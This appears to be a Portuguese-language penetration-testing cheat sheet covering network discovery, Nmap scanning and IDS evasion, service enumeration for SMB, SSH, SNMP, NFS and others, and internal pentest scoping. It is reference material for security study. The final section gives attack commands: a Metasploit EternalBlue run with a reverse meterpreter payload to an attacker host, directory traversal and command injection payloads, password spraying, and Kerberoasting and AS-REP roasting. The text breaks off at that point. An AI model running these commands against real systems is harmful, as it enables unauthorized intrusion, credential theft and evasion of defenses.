  • Bloqueio de port scan: Ferramentas de defesa detectam padrões tradicionais de scanning
  • IDS/IPS: Sistemas detectam operações maliciosas e bloqueiam IPs/MACs dos atacantes

Ping Sweep Techniques

ICMP Ping Sweep

Técnica básica para descobrir hosts ativos usando protocolo ICMP.

Ping Simples
Testar conectividade com um host
ping -c 4 ALVO_IP
Ping Range
Varrer faixa de IPs com script Bash
# Script para sweep de rede
for ip in $(seq 1 254); do 
    ping -c 1 10.0.0.$ip -w 1 | grep "64 bytes"
done
FPing
Ferramenta otimizada para ping em massa
# Ping de rede inteira
fping -a -g REDE_ALVO/24

# Com saída detalhada
fping -a -g REDE_ALVO/24 > hosts_ativos.txt

ARP Sweep (Pentest Interno)

Para pentests internos com acesso ao cabeamento da rede local.

ARPing

# ARP ping individual
arping -c 1 ALVO_IP

# ARP sweep de rede
for ip in $(seq 1 254); do 
    arping -c 1 10.0.0.$ip -w 1 | grep "60 bytes"
done

ARP-Scan

# Scan automático da rede local
arp-scan -l

# Interface específica
arp-scan -I eth0 REDE_ALVO/24

# Com timestamps
arp-scan -t REDE_ALVO/24

Ferramentas de Discovery

Nmap Host Discovery

# Ping scan básico
nmap -sn REDE_ALVO/24

# Com saída organizada
nmap -v -sn REDE_ALVO/24 -oG hosts_ativos.txt

# Filtrar apenas IPs ativos
grep "Up" hosts_ativos.txt | cut -d " " -f 2 > hosts.txt

Masscan

# Discovery rápido
masscan -p80,443 REDE_ALVO/24 --rate=1000

# Com múltiplas portas
masscan -p1-1000 REDE_ALVO/24 --rate=10000

Nmap - The Network Mapper

Ferramenta mais antiga e ativa para reconhecimento de rede, com diversos recursos avançados.

Comandos Básicos do Nmap

Host Discovery

# Verificar hosts ativos (-sn)
nmap -sn REDE_ALVO/24

# Ignorar ping (-Pn) - assume host ativo
nmap -Pn SERVIDOR_IP

# Host discovery com range
nmap -sn SERVIDOR_IP-200

# ARP ping (rede local)
nmap -PR REDE_ALVO/24

Port Scanning Básico

# Scan padrão (1000 portas mais comuns)
nmap SERVIDOR_IP

# Portas específicas
nmap -p 22,80,443 SERVIDOR_IP

# Todas as portas (1-65535)
nmap -p- SERVIDOR_IP

# Top portas mais comuns
nmap --top-ports 100 SERVIDOR_IP

Service Detection

# Detectar versões (-sV)
nmap -sV SERVIDOR_IP

# OS Fingerprinting (-O)
nmap -O SERVIDOR_IP

# Combinado (versão + OS)
nmap -sV -O SERVIDOR_IP

# Scripts padrão + versão
nmap -sCV SERVIDOR_IP

Output e Formatação

# Normal output
nmap -oN scan.txt SERVIDOR_IP

# XML output
nmap -oX scan.xml SERVIDOR_IP

# Grepable output
nmap -oG scan.grep SERVIDOR_IP

# Todos os formatos
nmap -oA scan SERVIDOR_IP

Técnicas Avançadas

TCP Connect Scan (-sT)

Estabelece o 3-Way Handshake completo

# TCP Connect (mais barulhento)
nmap -sT SERVIDOR_IP

# Com verbose
nmap -sT -v SERVIDOR_IP

Desvantagem: Facilmente detectado, consome mais tráfego

SYN Scan (-sS)

Meio scan - não completa o handshake

# SYN Scan (stealth)
nmap -sS SERVIDOR_IP

# Mais furtivo com timing
nmap -sS -T2 SERVIDOR_IP

Vantagem: Mais furtivo, menos tráfego

UDP Scan (-sU)

Scanning de serviços UDP

# UDP scan básico
nmap -sU SERVIDOR_IP

# Top portas UDP
nmap -sU --top-ports 100 SERVIDOR_IP

# UDP com service detection
nmap -sUV -p 53,67,161 SERVIDOR_IP

Nota: Respostas ambíguas (open|filtered)

Metodologia de Scanning Completo

TCP Host Scan Completo

# Scan completo de todas as portas TCP
nmap -v -sS -p- -Pn SERVIDOR_IP

# Com service detection
nmap -v -sSV -p- -Pn SERVIDOR_IP

UDP Host Scan

# UDP scan com service detection (portas específicas)
nmap -v -sUV -p 53,67,68,69,161,162,514 SERVIDOR_IP

Network Sweep Methodology

# 1. Descobrir hosts ativos
nmap -v -sn REDE_ALVO/24 -oG hosts_ativos.txt
grep "Up" hosts_ativos.txt | cut -d " " -f 2 > hosts.txt

# 2. Scan de serviços específicos
nmap -sS -p 22,80,443 --open -Pn -iL hosts.txt -oG servicos.txt

# 3. Service detection nos hosts ativos
nmap -sSV -p 22,80,443 --open -Pn -iL hosts.txt -oG servicos_detalhado.txt

Evasão e Técnicas Stealth

Source Port Spoofing (-g)

Bypass de firewall usando porta de origem específica

# Portas comuns para bypass
nmap -g 53 SERVIDOR_IP    # DNS
nmap -g 80 SERVIDOR_IP    # HTTP
nmap -g 443 SERVIDOR_IP   # HTTPS
nmap -g 22 SERVIDOR_IP    # SSH
nmap -g 161 SERVIDOR_IP   # SNMP

Decoy Scan (-D)

Dificultar detecção usando IPs iscas

# Decoy manual
nmap -D DECOY_IP1,DECOY_IP2,ME SERVIDOR_IP

# Decoy randômico
nmap -D RND:10 SERVIDOR_IP

Timing Templates

Controlar velocidade do scan

# T0: Paranoid (muito lento)
nmap -T0 SERVIDOR_IP

# T1: Sneaky (lento)
nmap -T1 SERVIDOR_IP

# T2: Polite (normal)
nmap -T2 SERVIDOR_IP

# T3: Normal (padrão)
nmap -T3 SERVIDOR_IP

# T4: Aggressive (rápido)
nmap -T4 SERVIDOR_IP

# T5: Insane (muito rápido)
nmap -T5 SERVIDOR_IP

Fragmentação

Evitar detecção fragmentando pacotes

# Fragmentação simples
nmap -f SERVIDOR_IP

# MTU personalizada
nmap --mtu 24 SERVIDOR_IP

# Data length
nmap --data-length 25 SERVIDOR_IP

Nmap Scripting Engine (NSE)

Scripts para vulnerabilidades e enumeração avançada.

Localizar Scripts

# Diretório dos scripts
cd /usr/share/nmap/scripts

# Buscar scripts por serviço
grep "ftp" script.db
grep "ssh" script.db
grep "http" script.db

# Listar por categoria
ls *-vuln*
ls *-brute*
ls *-enum*

Execução de Scripts

# Script específico
nmap --script ssh-brute SERVIDOR_IP

# Categoria de scripts
nmap --script vuln SERVIDOR_IP
nmap --script auth SERVIDOR_IP
nmap --script discovery SERVIDOR_IP

# Múltiplos scripts
nmap --script "http-*" SERVIDOR_IP

# Scripts padrão
nmap -sC SERVIDOR_IP

Scripts Úteis por Serviço

# HTTP/HTTPS
nmap --script http-enum SERVIDOR_IP
nmap --script http-title SERVIDOR_IP
nmap --script ssl-cert SERVIDOR_IP

# SSH
nmap --script ssh-auth-methods SERVIDOR_IP
nmap --script ssh2-enum-algos SERVIDOR_IP

# SMB
nmap --script smb-vuln-* SERVIDOR_IP
nmap --script smb-enum-shares SERVIDOR_IP

# MySQL
nmap --script mysql-info SERVIDOR_IP
nmap --script mysql-brute SERVIDOR_IP

Estados de Portas

Estado Descrição Significado Ação
Open Porta aberta para conexão Serviço ativo aceita conexões Enumerar serviço
Closed Porta fechada Nenhum serviço na porta Continuar scan
Filtered Firewall bloqueia a porta Pacotes filtrados/dropados Tentar bypass
Unfiltered Porta acessível mas estado desconhecido Responde mas não determina se aberta Usar outros tipos de scan
Open|Filtered Porta aberta ou filtrada Comum em UDP scans Investigar mais

Outras Ferramentas de Scanning

Masscan

Scanner de portas ultra-rápido

# Scan rápido
masscan -p1-65535 REDE_ALVO/24 --rate=1000

# Portas específicas
masscan -p80,443,22 REDE_PRIVADA/8 --rate=10000

# Output para nmap
masscan -p1-65535 REDE_ALVO/24 --rate=1000 > results.txt

Zmap

Scanner para redes muito grandes

# Scan de porta única
zmap -p 80 REDE_ALVO/24

# Com output específico
zmap -p 443 -o results.txt REDE_PRIVADA/8

# Com interface específica
zmap -p 22 -i eth0 REDE_ALVO/24

RustScan

Scanner moderno e rápido

# Scan básico
rustscan -a SERVIDOR_IP

# Com nmap integration
rustscan -a SERVIDOR_IP -- -sV

# Range de portas
rustscan -a SERVIDOR_IP -r 1-1000

Hping3

Criador de pacotes customizados

# SYN scan customizado
hping3 -S -p 80 SERVIDOR_IP

# Scan de portas sequencial
for port in $(seq 1 1000); do
    hping3 -S -p $port -c 1 SERVIDOR_IP 2>/dev/null | grep -q "len" && echo "Port $port open"
done

Scripts Personalizados de Scanning

Script de Network Scan

#!/bin/bash
# Funciona mais rápido que métodos com repetição
# Requer fping para verificação eficaz e ágil

echo "Informe a rede desejada no último caractere coloque o 0/24"
echo "Exemplo: x.x.x.0/24"
read ip

echo "OK, realizando scan na rede $ip"
echo "Hosts disponíveis na rede são:"
fping -a -q -g $ip

Script de Port Scan

#!/bin/bash

if [ "$1" = "" ]; then
    echo "Informe o host"
    echo "Exemplo: $0 x.x.x.x"
else
    echo "Você quer especificar a porta? (y/n)"
    read resp
    if [ "$resp" = "y" ]; then
        echo "Digite o novo IP base (exemplo: REDE_ALVO)"
        read newIP
        echo "Digite a porta que deseja fazer a varredura"
        read port
        for host in $(seq 1 254); do
            hping3 -S -p $port -c 1 $newIP.$host 2>/dev/null | grep -q "len" && echo "Porta $port aberta em $newIP.$host"
        done
    else
        for port in $(seq 1 15000); do
            hping3 -S -p $port -c 1 $1 2>/dev/null | grep -q "len" && echo "A porta $port está aberta no serviço $1"
        done
    fi
fi

Script de Parsing

#!/bin/bash 

if [ "$1" = "" ]; then
    echo "Digite a URL desejada"
else
    wget -q -O - "$1" | grep "href=" | cut -d "/" -f 3 | grep "\." | cut -d '"' -f 1 | grep -v " "$1.txt"
    
    for url in $(cat $1.txt); do
        host $url | grep "has address" >> filtro
    done
    
    rm -rf $1.txt
    echo "============================================"
    echo "         IP           |       Address        "
    echo "============================================"

    while read -r line; do
        s=$(echo "$line" | cut -d " " -f 1)
        v=$(echo "$line" | cut -d " " -f 4)
        echo "   $v   |  $s   "
    done < filtro
    echo "============================================"
    rm -rf filtro
fi

Script de Port Knocking

#!/bin/bash

seq=(13 37 30000 3000)
PC=1337
delay=1 

echo "Qual rede você gostaria de escanear (x.x.x)?"
read rede

verificaHost() { 
    for IP in {1..254}; do
        alvo="$rede.$IP"
        if ping -c 1 -W 1 $alvo > /dev/null 2>&1; then
            knck $alvo
        fi
    done
}

knck() {
    local vi=$1
    for PORT in "${seq[@]}"; do
        echo "Knocking on port $PORT on $vi"
        hping3 -S -p $PORT -c 1 $vi > /dev/null 2>&1
        sleep $delay
    done
    sleep 2
    checkport $vi 
}

checkport() {
    local vi=$1
    if hping3 -S -p $PC -c 1 $vi 2>&1 | grep -q "flags=SA"; then 
        echo "A porta 1337 está aberta"
    else 
        echo "A porta não foi aberta"
    fi 
}

verificaHost

Importância da Enumeração

Após a fase de scanning, buscamos informações detalhadas sobre cada serviço identificado para encontrar vetores de ataque e possíveis vulnerabilidades. Podemos encontrar vulnerabilidades desconhecidas (0-days) que podem ser valiosas.

HTTP/HTTPS Enumeration

Enumeração HTTP Básica

Banner Grabbing com NetCat

# Conectar ao serviço HTTP
nc -nv SERVIDOR_IP 80

# Fazer requisição manual (HTTP/1.1 requer Host)
GET / HTTP/1.1
Host: empresa.com.br

# Requisição com User-Agent
GET / HTTP/1.1
Host: empresa.com.br
User-Agent: Mozilla/5.0

Identificar Versão do Servidor

# Com curl
curl -I http://SERVIDOR_IP

# Headers específicos
curl -H "Host: site.com.br" http://SERVIDOR_IP

# Verbose output
curl -v http://SERVIDOR_IP 2>&1 | grep "^< "

Tecnologias Web

# WhatWeb
whatweb http://SERVIDOR_IP

# Wappalyzer CLI
wappalyzer http://SERVIDOR_IP

# Nmap scripts
nmap --script http-enum SERVIDOR_IP
nmap --script http-title SERVIDOR_IP
nmap --script http-headers SERVIDOR_IP

Nikto - Web Scanner

# Scan básico
nikto -h http://SERVIDOR_IP

# HTTPS
nikto -h https://SERVIDOR_IP

# Porta específica
nikto -h SERVIDOR_IP -p 8080

# Salvar resultados
nikto -h https://empresa.com.br -o results.txt

Enumeração HTTPS/SSL

A enumeração HTTPS é similar ao HTTP, mas requer ferramentas que suportem criptografia SSL/TLS.

OpenSSL s_client

# Conectar com SSL
openssl s_client -quiet -connect site.com.br:443

# Verificar certificado
openssl s_client -connect site.com.br:443 -showcerts

# SNI (Server Name Indication)
openssl s_client -connect SERVIDOR_IP:443 -servername site.com.br

Requisições HTTPS

# Fazer requisição após conectar
GET / HTTP/1.1
Host: site.com.br

# Com curl (mais simples)
curl -k https://SERVIDOR_IP

# Ignorar certificados inválidos
curl -k -I https://SERVIDOR_IP

Análise de Certificado

# Nmap SSL scripts
nmap --script ssl-cert SERVIDOR_IP
nmap --script ssl-enum-ciphers SERVIDOR_IP

# SSLyze
sslyze --regular SERVIDOR_IP:443

# Testssl.sh
testssl.sh SERVIDOR_IP:443

Métodos HTTP Aceitos

Identificar quais métodos HTTP o servidor aceita pode revelar funcionalidades adicionais perigosas.

Método OPTIONS

# Com NetCat
nc -nv SERVIDOR_IP 80
OPTIONS / HTTP/1.1
Host: site.com.br

# Com curl
curl -X OPTIONS http://SERVIDOR_IP -v

# Nmap script
nmap --script http-methods SERVIDOR_IP

Testando Métodos Específicos

# PUT method (upload de arquivos)
curl -X PUT http://SERVIDOR_IP/test.txt -d "test content"

# DELETE method  
curl -X DELETE http://SERVIDOR_IP/test.txt

# TRACE method (possível XSS)
curl -X TRACE http://SERVIDOR_IP

# PATCH method
curl -X PATCH http://SERVIDOR_IP -d "data"

Métodos Perigosos

  • PUT: Upload de arquivos
  • DELETE: Deletar recursos
  • TRACE: XSS via TRACE
  • CONNECT: Proxy tunneling

Métodos WebDAV

  • PROPFIND: Propriedades
  • PROPPATCH: Modificar propriedades
  • MKCOL: Criar coleções
  • COPY/MOVE: Manipular arquivos

Detecção de WAF (Web Application Firewall)

wafw00f

# Detectar WAF
wafw00f https://empresa.com.br

# Teste verbose
wafw00f -v https://empresa.com.br

# Lista de WAFs suportados
wafw00f -l

Detecção Manual

# Teste de payloads maliciosos
curl "https://empresa.com.br/?test='OR'1'='1"

# Headers específicos
curl -H "X-Forwarded-For: 127.0.0.1" https://empresa.com.br

# User-Agents suspeitos
curl -H "User-Agent: sqlmap" https://empresa.com.br

SSH Enumeration (Port 22)

Banner Grabbing

# NetCat banner
nc -nv SERVIDOR_IP 22

# Nmap service detection
nmap -sV -p 22 SERVIDOR_IP

# SSH específico
ssh -o PreferredAuthentications=none SERVIDOR_IP

Métodos de Autenticação

# Verificar métodos aceitos
nmap --script ssh-auth-methods SERVIDOR_IP

# Algoritmos suportados
nmap --script ssh2-enum-algos SERVIDOR_IP

# Host key information
nmap --script ssh-hostkey SERVIDOR_IP

Métodos Comuns:

  • password: Autenticação por senha
  • publickey: Chave pública/privada
  • keyboard-interactive: Interativo

SSH Key Management

# Gerar chaves SSH
ssh-keygen -t rsa -b 4096

# Adicionar chave privada ao agent
ssh-add ~/.ssh/id_rsa

# Conectar com chave específica
ssh -i ~/.ssh/id_rsa user@SERVIDOR_IP

# Copiar chave pública para servidor
ssh-copy-id user@SERVIDOR_IP

Brute Force SSH

# Hydra SSH brute force
hydra -L users.txt -P passwords.txt ssh://SERVIDOR_IP

# Nmap SSH brute force
nmap --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt SERVIDOR_IP

# Medusa
medusa -h SERVIDOR_IP -U users.txt -P passwords.txt -M ssh

FTP Enumeration (Port 21)

Conexão FTP

# Conexão manual
ftp SERVIDOR_IP

# NetCat banner
nc -nv SERVIDOR_IP 21

# Anonymous login test
ftp SERVIDOR_IP
# user: anonymous
# pass: anonymous

Nmap FTP Scripts

# Anonymous FTP check
nmap --script ftp-anon SERVIDOR_IP

# FTP bounce attack
nmap --script ftp-bounce SERVIDOR_IP

# FTP system info
nmap --script ftp-syst SERVIDOR_IP

# VSFTPD backdoor check
nmap --script ftp-vsftpd-backdoor SERVIDOR_IP

Download Recursivo

# Wget recursivo
wget -r ftp://anonymous:anonymous@SERVIDOR_IP/

# lftp mirror
lftp anonymous:anonymous@SERVIDOR_IP
lftp> mirror

# Download específico
wget ftp://SERVIDOR_IP/pub/file.txt

SMB/NetBIOS Enumeration (Ports 139/445)

SMB Enumeration Básica

SMB funciona nas portas 139 (NetBIOS) e 445 (SMB). Hosts com porta 139 são geralmente mais antigos e vulneráveis.

smbclient

# Listar shares (null session)
smbclient -L //SERVIDOR_IP -N

# Com usuário específico
smbclient -L //SERVIDOR_IP -U username

# Conectar a um share
smbclient //SERVIDOR_IP/share$ -N

# Com problemas de versão
smbclient -L //SERVIDOR_IP -N --option='client min protocol=NT1'

nbtscan

# Scan de rede NetBIOS
nbtscan -r REDE_ALVO/24

# Verbose output
nbtscan -v SERVIDOR_IP

# Com timeout específico
nbtscan -t 2 REDE_ALVO/24

Ferramentas de Enumeração SMB

enum4linux

# Enumeração completa
enum4linux -a SERVIDOR_IP

# Usuários apenas
enum4linux -U SERVIDOR_IP

# Shares apenas
enum4linux -S SERVIDOR_IP

# Políticas de senha
enum4linux -P SERVIDOR_IP

crackmapexec

# SMB discovery
crackmapexec smb REDE_ALVO/24

# Null session shares
crackmapexec smb SERVIDOR_IP -u '' -p '' --shares

# Enumerar usuários
crackmapexec smb SERVIDOR_IP -u '' -p '' --users

# Password spraying
crackmapexec smb SERVIDOR_IP -u users.txt -p 'Password123'

smbmap

# Mapear shares
smbmap -H SERVIDOR_IP

# Com credenciais
smbmap -H SERVIDOR_IP -u username -p password

# Listar conteúdo recursivamente
smbmap -H SERVIDOR_IP -R

# Upload/Download
smbmap -H SERVIDOR_IP --upload '/local/file' '/remote/path'

Nmap SMB Scripts

Scripts de Vulnerabilidades

# Todas as vulnerabilidades SMB
nmap --script smb-vuln-* SERVIDOR_IP

# EternalBlue (MS17-010)
nmap --script smb-vuln-ms17-010 SERVIDOR_IP

# SMBv1 check
nmap --script smb-protocols SERVIDOR_IP

Scripts de Enumeração

# Enumerar shares
nmap --script smb-enum-shares SERVIDOR_IP

# Enumerar usuários
nmap --script smb-enum-users SERVIDOR_IP

# OS discovery
nmap --script smb-os-discovery SERVIDOR_IP

# Informações do sistema
nmap --script smb-system-info SERVIDOR_IP

RPC Client

O RPC client usa os mesmos binários do SMB e permite interação direta com o servidor.

Comandos RPC

# Conectar com null session
rpcclient -U "" SERVIDOR_IP

# Comandos úteis dentro do rpcclient:
# ? - listar comandos disponíveis
# enumdomusers - enumerar usuários do domínio
# queryuser [username] - informações sobre usuário específico
# enumdomgroups - enumerar grupos do domínio
# querygroupmem [RID] - membros de um grupo

MySQL Enumeration (Port 3306)

Conexão MySQL

# MySQL client
mysql -h SERVIDOR_IP -u root -p

# Teste de conexão
nc -nv SERVIDOR_IP 3306

# Teste de senha vazia
mysql -h SERVIDOR_IP -u root

MySQL Enumeration

# Informações do servidor
nmap --script mysql-info SERVIDOR_IP

# Enumerar bancos de dados
nmap --script mysql-databases --script-args mysqluser=root SERVIDOR_IP

# Variáveis do sistema
nmap --script mysql-variables SERVIDOR_IP

MySQL Brute Force

# Hydra MySQL
hydra -L users.txt -P passwords.txt mysql://SERVIDOR_IP

# Nmap MySQL brute force
nmap --script mysql-brute SERVIDOR_IP

# Medusa MySQL
medusa -h SERVIDOR_IP -U users.txt -P passwords.txt -M mysql

SNMP Enumeration (Port 161)

Community Strings

# onesixtyone brute force
onesixtyone -c community.txt SERVIDOR_IP

# Community strings comuns
# public, private, community, manager, admin, snmp

SNMP Walking

# snmpwalk básico
snmpwalk -c public -v1 SERVIDOR_IP

# snmpwalk v2c
snmpwalk -c public -v2c SERVIDOR_IP

# Informações do sistema
snmpwalk -c public -v2c SERVIDOR_IP 1.3.6.1.2.1.1

# Processos em execução
snmpwalk -c public -v2c SERVIDOR_IP 1.3.6.1.2.1.25.4.2.1.2

SNMP Tools

# snmp-check
snmp-check SERVIDOR_IP -c public

# Nmap SNMP scripts
nmap --script snmp-info SERVIDOR_IP
nmap --script snmp-processes SERVIDOR_IP
nmap --script snmp-netstat SERVIDOR_IP

NFS Enumeration (Port 2049)

NFS Discovery

# Verificar versões NFS suportadas
rpcinfo -p SERVIDOR_IP | grep nfs

# Listar exports
showmount -e SERVIDOR_IP

# Exports com detalhes
showmount -a SERVIDOR_IP

Montar Shares NFS

# Criar diretório local
mkdir /tmp/nfs

# Montar NFS share
mount -t nfs -o nfsvers=3 SERVIDOR_IP:/path /tmp/nfs

# Verificar montagem
df -h | grep nfs

# Desmontar
umount /tmp/nfs

NFS Security Issues

Problemas Comuns:

  • Root Squashing: Verificar se está desabilitado
  • No_root_squash: Permite acesso como root
  • All_squash: Mapeia todos os usuários
  • / Export: Sistema inteiro exportado

SMTP Enumeration (Port 25)

SMTP Manual

# Conectar ao SMTP
telnet SERVIDOR_IP 25

# Comandos SMTP
HELO test.com
EHLO test.com
VRFY root
VRFY admin
EXPN root
RCPT TO: user@domain.com

User Enumeration

# smtp-user-enum
smtp-user-enum -M VRFY -U users.txt -t SERVIDOR_IP

# Métodos diferentes
smtp-user-enum -M EXPN -U users.txt -t SERVIDOR_IP
smtp-user-enum -M RCPT -U users.txt -t SERVIDOR_IP

# Nmap SMTP enumeration
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} SERVIDOR_IP

SMTP Scripts

# Nmap SMTP scripts
nmap --script smtp-commands SERVIDOR_IP
nmap --script smtp-open-relay SERVIDOR_IP
nmap --script smtp-vuln-cve2010-4344 SERVIDOR_IP

Outros Serviços Importantes

POP3 (Port 110)

# Conectar ao POP3
telnet SERVIDOR_IP 110

# Comandos básicos
USER username
PASS password
LIST
RETR 1
QUIT

Telnet (Port 23)

# Conectar via Telnet
telnet SERVIDOR_IP

# Banner grabbing
nc -nv SERVIDOR_IP 23

# Brute force Telnet
hydra -L users.txt -P passwords.txt telnet://SERVIDOR_IP

DNS (Port 53)

# Nmap DNS scripts
nmap --script dns-brute domain.com
nmap --script dns-zone-transfer domain.com

# Dig queries
dig @SERVIDOR_IP domain.com
dig @SERVIDOR_IP domain.com AXFR

Labs Práticos

Lab MySQL

# Descobrir MySQL na rede
nmap -sS -p 3306 -Pn --open 172.16.1.1-100

# Resultado: 172.16.1.33 com MySQL ativo
# Conectar e identificar versão: 5.1.73-1
# Testar senha padrão vazia do root

Lab SSH

# Conectar ao SSH
ssh user@SERVIDOR_IP

# Verificar métodos de autenticação
# Resultado: publickey,password

# Gerar chave SSH para acesso
ssh-keygen -t rsa

Lab NFS

# Montar NFS com criptografia
mount -t nfs -o nfsvers=3 172.16.1.251:/opt/comp /tmp/nfs

# Criar chave SSH no diretório montado
ssh-keygen -t rsa
cp id_rsa.pub authorized_keys

# Conectar via SSH com a chave
ssh -i id_rsa camila@172.16.1.31

Pentest Interno vs Externo

O pentest interno simula um atacante que já possui acesso à rede corporativa (funcionário malicioso, dispositivo comprometido, acesso físico). Difere do pentest externo por ter acesso direto à infraestrutura interna, permitindo técnicas específicas não disponíveis externamente.

Definição de Escopo

1

Definir Redes

Identificar segmentos e VLANs

2

Identificar Ativos

Servidores críticos e workstations

3

Definir Limitações

DoS, horários, sistemas críticos

4

Objetivos

Domain Admin, dados sensíveis

Definição de Escopo de Rede

Identificação de Redes

# Descobrir configuração de rede atual
ip route show
route -n
netstat -rn

# Interfaces de rede
ip addr show
ifconfig -a

# Tabela ARP (hosts próximos)
arp -a
ip neighbor show

# DNS servers
cat /etc/resolv.conf
nslookup 
set type=NS
domain.corp

Descoberta de VLANs

# VLAN Hopping com Yersinia
yersinia -G

# 802.1Q VLAN Discovery
modprobe 8021q
vconfig add eth0 100
ifconfig eth0.100 REDE_INTERNA.1 up

# DTP (Dynamic Trunking Protocol) abuse
# Configurar interface em modo trunk

Mapeamento de Subredes

# Ping sweep automatizado
nmap -sn REDE_ALVO/24
nmap -sn REDE_PRIVADA/8
nmap -sn 172.16.0.0/12

# Descoberta passiva com netdiscover
netdiscover -r REDE_ALVO/24 -P

# Usando fping
fping -g REDE_ALVO/24 2>/dev/null | grep "alive"

# Script para múltiplas redes
for net in 192.168.{1..10}.0/24; do
    echo "Scanning $net..."
    nmap -sn $net --max-retries 1 --host-timeout 5s
done

Identificação de Sistemas Críticos

Domain Controllers

  • Active Directory servers
  • DNS servers (geralmente DCs)
  • LDAP services (port 389/636)
  • Kerberos (port 88)
  • Global Catalog (port 3268/3269)

Servidores de Aplicação

  • Web servers (IIS, Apache)
  • Database servers (SQL Server, MySQL)
  • Email servers (Exchange)
  • File servers (SMB shares)
  • Print servers

Infraestrutura

  • Switches gerenciáveis
  • Roteadores
  • Firewalls
  • Proxies
  • Monitoring systems (SIEM)

Endpoints

  • Workstations Windows
  • Servidores Linux
  • Máquinas virtuais
  • Dispositivos IoT
  • Impressoras de rede

Identificação de Domain Controllers

# DNS lookup para DCs
nslookup
set type=SRV
_ldap._tcp.dc._msdcs.domain.corp

# Nmap para serviços AD
nmap -p 88,135,139,389,445,636,3268,3269 REDE_ALVO/24

# Enum4linux para informações AD
enum4linux -a SERVIDOR_IP

# LDAP anonymous bind
ldapsearch -x -h SERVIDOR_IP -s base

# SMB enumeration para DCs
smbclient -L //SERVIDOR_IP -N

Definição de Objetivos

1

Reconhecimento

Mapear rede e serviços

2

Compromisso Inicial

Explorar vulnerabilidades

3

Movimento Lateral

Pivotar entre sistemas

4

Escalação

Domain Admin privileges

Objetivos Técnicos Comuns

Acesso Administrativo
  • Domain Administrator
  • Enterprise Administrator
  • Schema Administrator
  • Local Administrator em servers
  • Root access em sistemas Linux
Acesso a Dados
  • Database dumps
  • File shares sensíveis
  • Email boxes
  • Backup files
  • Source code
Persistência
  • Backdoors em sistemas
  • Golden/Silver tickets
  • Scheduled tasks
  • Registry modifications
  • Service implants
Movimento Lateral
  • Pass-the-Hash
  • Pass-the-Ticket
  • WMI/PSExec
  • RDP compromise
  • SSH key abuse

Objetivos de Negócio

Compliance Testing
  • PCI-DSS: Proteção de dados de cartão
  • HIPAA: Dados de saúde
  • SOX: Controles financeiros
  • GDPR: Proteção de dados pessoais
  • ISO 27001: Gestão de segurança
Risk Assessment
  • Business Impact: Interrupção de operações
  • Data Exposure: Vazamento de informações
  • Financial Loss: Custos diretos e indiretos
  • Reputation: Danos à marca
  • Legal: Multas e processos

Limitações e Restrições

Importante

Definir limitações claras é crucial para evitar impactos na produção e manter a segurança do ambiente durante o teste.

Restrições Técnicas

  • Sem DoS: Não causar indisponibilidade
  • Sistemas Críticos: Lista de sistemas off-limits
  • Horários: Janelas de teste permitidas
  • Bandwidth: Limites de utilização de rede
  • Data Modification: Não alterar dados de produção

Restrições Legais

  • Escopo: Apenas sistemas autorizados
  • Data Privacy: Não acessar dados pessoais
  • Third-party: Sistemas de terceiros proibidos
  • Cloud Services: Limitações em serviços externos
  • Documentation: Registro obrigatório de atividades

Comunicação

  • Ponto de Contato: Responsável técnico
  • Emergência: Procedimentos de escalação
  • Reporting: Frequência de relatórios
  • Issues: Como reportar problemas
  • Approval: Autorização para ações específicas

Limpeza

  • Backdoors: Remoção de acesso criado
  • Files: Limpeza de arquivos deixados
  • Accounts: Remoção de contas criadas
  • Logs: Preservação de evidências
  • Changes: Reversão de modificações

Metodologia de Pentest Interno

Fase 1: Reconhecimento Interno

Network Discovery

# Descoberta passiva
netdiscover -r REDE_ALVO/24 -P
arp-scan REDE_ALVO/24

# Descoberta ativa
nmap -sn REDE_ALVO/24
nmap -sn --send-ip REDE_ALVO/24

# Responder (capturar autenticações)
responder -I eth0 -A

# NBT-NS poisoning
responder -I eth0 -wrf

# IPv6 discovery
ping6 ff02::1%eth0
nmap -6 -sn fe80::/64%eth0

Service Enumeration

# Top ports scan
nmap -sS -T4 --top-ports 1000 REDE_ALVO/24

# Service detection
nmap -sV -sC REDE_ALVO/24

# SMB enumeration
enum4linux -a REDE_ALVO/24
crackmapexec smb REDE_ALVO/24

# Web services
nmap --script http-enum REDE_ALVO/24 -p 80,443,8080,8443

# SNMP enumeration
onesixtyone -c community.txt REDE_ALVO/24
snmpwalk -c public -v1 SERVIDOR_IP

Domain Information

# Domain discovery
realm discover
ldapsearch -x -h DC_IP -s base namingcontexts

# Domain users enumeration
enum4linux -U SERVIDOR_IP
rpcclient -U "" SERVIDOR_IP -c "enumdomusers"

# Domain computers
ldapsearch -x -h DC_IP -b "dc=domain,dc=corp" "(objectClass=computer)"

# Trust relationships
nltest /domain_trusts

Fase 2: Compromisso Inicial

Exploração de Vulnerabilidades

SMB Vulnerabilities
# EternalBlue (MS17-010)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS SERVIDOR_IP
set payload windows/x64/meterpreter/reverse_tcp
set LHOST ATACANTE_IP
run

# SMBGhost (CVE-2020-0796)
use exploit/windows/smb/cve_2020_0796_smbghost
set RHOSTS SERVIDOR_IP
run

# MS08-067
use exploit/windows/smb/ms08_067_netapi
set RHOSTS SERVIDOR_IP
run
Web Application Exploits
# Default credentials
# Common: admin/admin, admin/password, root/root

# SQL Injection
sqlmap -u "http://SERVIDOR_IP/app.php?id=1" --dbs

# File upload vulnerabilities
# Upload web shells in weak upload forms

# Directory traversal
curl "http://SERVIDOR_IP/app.php?file=../../../etc/passwd"

# Command injection
curl "http://SERVIDOR_IP/ping.php?host=127.0.0.1;id"

Ataques de Credencial

Password Spraying
# CrackMapExec password spray
crackmapexec smb REDE_ALVO/24 -u users.txt -p 'Password123!' --continue-on-success

# Hydra SSH brute force
hydra -L users.txt -p 'Password123!' SERVIDOR_IP ssh

# RDP password spray
hydra -L users.txt -p 'Password123!' SERVIDOR_IP rdp

# SMB password spray
hydra -L users.txt -p 'Password123!' SERVIDOR_IP smb
Kerberoasting
# Get TGT first
getTGT.py domain.corp/user:password

# Request service tickets
GetUserSPNs.py domain.corp/user:password -dc-ip SERVIDOR_IP -request

# Crack with hashcat
hashcat -m 13100 kerberos_hashes.txt rockyou.txt

# Using Rubeus (Windows)
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
AS-REP Roasting
# Find users with pre-auth disabled
GetNPUsers.py domain.corp/ -usersfile users.txt -dc-ip SERVIDOR_IP

# Request AS-REP for specific user
GetNPUsers.py domain.corp/user -no-pass -dc-ip SERVIDOR_IP

# Crack hashes
